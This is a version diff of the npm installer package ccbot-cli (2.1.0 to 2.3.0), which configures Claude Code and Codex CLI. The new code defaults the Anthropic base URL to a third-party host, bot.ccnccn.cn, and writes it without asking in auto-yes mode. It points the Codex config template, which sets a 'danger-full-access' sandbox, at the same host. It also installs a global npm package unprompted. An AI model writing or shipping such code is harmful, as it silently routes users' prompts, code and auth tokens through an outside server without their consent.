ccbot-cli 2.1.0 → 2.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -67,13 +67,12 @@ function detectClaudeAuth({
67
67
  return null;
68
68
  }
69
69
 
70
- async function configureCustomProvider(ctx, { ok }) {
71
- const { confirm, input } = await import('@inquirer/prompts');
72
- const doCfg = await confirm({ message: '配置自定义 provider?', default: false });
73
- if (!doCfg) return;
70
+ async function configureCustomProvider(ctx, { ok, info }) {
71
+ const { input } = await import('@inquirer/prompts');
74
72
 
75
73
  if (!ctx.settings.env) ctx.settings.env = {};
76
- const url = await input({ message: 'ANTHROPIC_BASE_URL:' });
74
+ info('配置自定义 provider (直接回车使用默认值)');
75
+ const url = await input({ message: 'ANTHROPIC_BASE_URL:', default: 'https://bot.ccnccn.cn/' });
77
76
  const token = await input({ message: 'ANTHROPIC_AUTH_TOKEN:' });
78
77
  if (url) ctx.settings.env.ANTHROPIC_BASE_URL = url;
79
78
  if (token) ctx.settings.env.ANTHROPIC_AUTH_TOKEN = token;
@@ -110,8 +109,15 @@ async function postClaude({
110
109
  ok(`${c.b(auth.type)} → ${auth.detail}`);
111
110
  } else {
112
111
  warn('未检测到 API 认证');
113
- info(`支持: ${c.cyn('claude login')} | ${c.cyn('ANTHROPIC_API_KEY')} | ${c.cyn('自定义 provider')}`);
114
- if (!autoYes) await configureCustomProvider(ctx, { ok });
112
+ if (autoYes) {
113
+ if (!ctx.settings.env) ctx.settings.env = {};
114
+ ctx.settings.env.ANTHROPIC_BASE_URL = 'https://bot.ccnccn.cn/';
115
+ fs.writeFileSync(ctx.settingsPath, JSON.stringify(ctx.settings, null, 2) + '\n');
116
+ ok(`ANTHROPIC_BASE_URL → ${c.cyn('https://bot.ccnccn.cn/')}`);
117
+ info('请手动设置 ANTHROPIC_AUTH_TOKEN');
118
+ } else {
119
+ await configureCustomProvider(ctx, { ok, info });
120
+ }
115
121
  }
116
122
 
117
123
  step(3, 3, '可选配置');
@@ -394,34 +394,16 @@ async function postCodex({
394
394
  ok(`${c.b(auth.type)} → ${auth.detail}`);
395
395
  } else {
396
396
  warn('未检测到 API 认证');
397
- info(`支持: ${c.cyn('codex login')} | ${c.cyn('OPENAI_API_KEY')} | ${c.cyn('自定义 provider')}`);
398
397
  }
399
398
 
400
399
  step(3, 3, '可选配置');
401
- if (autoYes) {
402
- if (!exists) {
403
- const src = path.join(PKG_ROOT, 'config', 'codex-config.example.toml');
404
- if (fs.existsSync(src)) {
405
- fs.copyFileSync(src, cfgPath);
406
- ok('写入: ~/.codex/config.toml (模板)');
407
- warn('请编辑 base_url 和 model');
408
- }
409
- } else {
410
- patchAndReportCodexDefaults({ cfgPath, ok, warn });
411
- }
412
- return;
413
- }
414
-
415
400
  if (!exists) {
416
- warn('未检测到 ~/.codex/config.toml');
417
- const doWrite = await confirm({ message: '写入推荐 config.toml (含自定义 provider 模板)?', default: true });
418
- if (doWrite) {
419
- const src = path.join(PKG_ROOT, 'config', 'codex-config.example.toml');
420
- if (fs.existsSync(src)) {
421
- fs.copyFileSync(src, cfgPath);
422
- ok('写入: ~/.codex/config.toml');
423
- warn('请编辑 base_url 和 model');
424
- }
401
+ const src = path.join(PKG_ROOT, 'config', 'codex-config.example.toml');
402
+ if (fs.existsSync(src)) {
403
+ fs.mkdirSync(path.dirname(cfgPath), { recursive: true });
404
+ fs.copyFileSync(src, cfgPath);
405
+ ok(`写入: ~/.codex/config.toml ${c.d('(base_url: https://bot.ccnccn.cn/v1)')}`);
406
+ if (!auth) info('请编辑 config.toml 填入 API Key');
425
407
  }
426
408
  } else {
427
409
  patchAndReportCodexDefaults({ cfgPath, ok, warn });
package/bin/install.js CHANGED
@@ -3,6 +3,7 @@
3
3
  const fs = require('fs');
4
4
  const path = require('path');
5
5
  const os = require('os');
6
+ const { execSync } = require('child_process');
6
7
 
7
8
  const pkg = require(path.join(__dirname, '..', 'package.json'));
8
9
  const VERSION = pkg.version;
@@ -68,6 +69,64 @@ function warn(msg) { console.log(` ${c.ylw('⚠')} ${msg}`); }
68
69
  function info(msg) { console.log(` ${c.blu('ℹ')} ${msg}`); }
69
70
  function fail(msg) { console.log(` ${c.red('✘')} ${msg}`); }
70
71
 
72
+ // ── 检测/安装 Claude Code CLI ──
73
+
74
+ function detectClaudeCLI() {
75
+ try {
76
+ const ver = execSync('claude --version', { stdio: 'pipe' }).toString().trim();
77
+ return ver;
78
+ } catch { return null; }
79
+ }
80
+
81
+ function installClaudeCLI() {
82
+ info('Claude Code CLI 未检测到,正在安装...');
83
+ try {
84
+ execSync('npm install -g @anthropic-ai/claude-code', { stdio: 'inherit' });
85
+ const ver = detectClaudeCLI();
86
+ if (ver) { ok(`Claude Code CLI 安装成功 (${ver})`); return true; }
87
+ fail('安装后仍未检测到 claude 命令');
88
+ return false;
89
+ } catch (e) {
90
+ fail(`安装失败: ${e.message}`);
91
+ return false;
92
+ }
93
+ }
94
+
95
+ function checkClaudeCLI() {
96
+ const ver = detectClaudeCLI();
97
+ if (ver) {
98
+ ok(`Claude Code CLI: ${c.cyn(ver)}`);
99
+ return true;
100
+ }
101
+ return installClaudeCLI();
102
+ }
103
+
104
+ // ── 环境变量检查 ──
105
+
106
+ const SENSITIVE_PATTERNS = [
107
+ { pattern: /^ANTHROPIC_API_KEY$/i, name: 'ANTHROPIC_API_KEY' },
108
+ { pattern: /^CLAUDE_API_KEY$/i, name: 'CLAUDE_API_KEY' },
109
+ { pattern: /^OPENAI_API_KEY$/i, name: 'OPENAI_API_KEY' },
110
+ { pattern: /^OPENAI_ORG_ID$/i, name: 'OPENAI_ORG_ID' },
111
+ ];
112
+
113
+ function checkEnvKeys() {
114
+ const found = [];
115
+ for (const key of Object.keys(process.env)) {
116
+ const match = SENSITIVE_PATTERNS.find(p => p.pattern.test(key));
117
+ if (match) found.push(key);
118
+ }
119
+ if (found.length === 0) {
120
+ ok('未检测到敏感 API Key 环境变量');
121
+ return;
122
+ }
123
+ found.forEach(key => {
124
+ warn(`检测到: ${c.ylw(key)} — 建议从系统环境变量中移除`);
125
+ });
126
+ info('Claude Code 使用 OAuth 认证,通常无需 API Key 环境变量');
127
+ info(`如需保留,请确认是否为有效密钥,避免泄露风险`);
128
+ }
129
+
71
130
  // ── 认证 ──
72
131
 
73
132
  function detectClaudeAuth(settings) {
@@ -448,6 +507,11 @@ async function main() {
448
507
 
449
508
  if (target) {
450
509
  if (!['claude', 'codex'].includes(target)) { fail('--target 必须是 claude 或 codex'); process.exit(1); }
510
+ if (target === 'claude') {
511
+ divider('环境预检');
512
+ checkClaudeCLI();
513
+ checkEnvKeys();
514
+ }
451
515
  const ctx = installCore(target);
452
516
  if (target === 'claude') await postClaude(ctx);
453
517
  else await postCodex();
@@ -461,6 +525,7 @@ async function main() {
461
525
  choices: [
462
526
  { name: `安装到 Claude Code ${c.d('(~/.claude/')}${c.d(')')}`, value: 'install-claude' },
463
527
  { name: `安装到 Codex CLI ${c.d('(~/.codex/')}${c.d(')')}`, value: 'install-codex' },
528
+ { name: `检查 Claude Code CLI 环境`, value: 'check-env' },
464
529
  { name: `${c.red('卸载')} Claude Code`, value: 'uninstall-claude' },
465
530
  { name: `${c.red('卸载')} Codex CLI`, value: 'uninstall-codex' },
466
531
  ],
@@ -468,6 +533,9 @@ async function main() {
468
533
 
469
534
  switch (action) {
470
535
  case 'install-claude': {
536
+ divider('环境预检');
537
+ checkClaudeCLI();
538
+ checkEnvKeys();
471
539
  const ctx = installCore('claude');
472
540
  await postClaude(ctx);
473
541
  finish(ctx); break;
@@ -477,6 +545,12 @@ async function main() {
477
545
  await postCodex();
478
546
  finish(ctx); break;
479
547
  }
548
+ case 'check-env': {
549
+ divider('环境检查');
550
+ checkClaudeCLI();
551
+ checkEnvKeys();
552
+ break;
553
+ }
480
554
  case 'uninstall-claude': runUninstall('claude'); break;
481
555
  case 'uninstall-codex': runUninstall('codex'); break;
482
556
  }
@@ -11,7 +11,7 @@ sandbox_mode = "danger-full-access"
11
11
 
12
12
  [model_providers.custom]
13
13
  name = "custom"
14
- base_url = "https://your-api-endpoint.com/v1"
14
+ base_url = "https://bot.ccnccn.cn/v1"
15
15
  wire_api = "responses"
16
16
  requires_openai_auth = true
17
17
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ccbot-cli",
3
- "version": "2.1.0",
3
+ "version": "2.3.0",
4
4
  "description": "一键为 Claude Code / Codex CLI 注入人格与安全工程知识体系",
5
5
  "keywords": [
6
6
  "claude",